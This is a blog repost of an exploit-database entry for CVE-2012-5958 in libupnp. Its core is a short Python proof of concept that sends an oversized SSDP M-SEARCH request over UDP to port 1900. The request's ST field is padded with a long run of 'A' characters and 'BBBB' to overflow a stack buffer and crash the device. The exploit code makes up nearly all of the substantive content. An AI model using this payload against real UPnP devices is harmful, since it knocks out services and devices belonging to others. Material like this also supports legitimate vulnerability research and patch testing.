Saturday, July 20, 2024

libupnp 1.6.18 – Stack-based buffer overflow (DoS)Denial Of Service Exploit

Date: 2020-11-27

Platform: Multiple

CVE: 2012-5958

# Exploit Title: libupnp 1.6.18 - Stack-based buffer overflow (DoS)
# Exploit Author: Patrik Lantz
# Vendor Homepage:
# Software Link:
# Version: <= 1.6.6
# Tested on: Linux
# CVE : CVE-2012-5958

import socket

payload = "M-SEARCH * HTTP/1.1\r\nHOST:\r\nST:uuid:schemas:device:"
payload += "A"*324 + "BBBB"
payload += ":urn:\r\nMX:2\r\nMAN:\"ssdp:discover\"\r\n\r\n"

byte_message = bytes(payload)
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(byte_message, ("", 1900))
Share the word, let's increase Cybersecurity Awareness as we know it
Recommended:  TypeSetter 5.1 - CSRF (Change admin e-mail) Exploit
- Sponsored -

Sponsored Offer

Unleash the Power of the Cloud: Grab $200 Credit for 60 Days on DigitalOcean!

Digital ocean free 200

Discover more infosec

User Avatar
Steven Black (n0tst3)
Hello! I'm Steve, an independent security researcher, and analyst from Scotland, UK. I've had an avid interest in Computers, Technology and Security since my early teens. 20 years on, and, it's a whole lot more complicated... I've assisted Governments, Individuals and Organizations throughout the world. Including; US DOJ, NHS UK, GOV UK. I'll often reblog infosec-related articles that I find interesting. On the RiSec website, You'll also find a variety of write-ups, tutorials and much more!

more infosec reads

Subscribe for weekly updates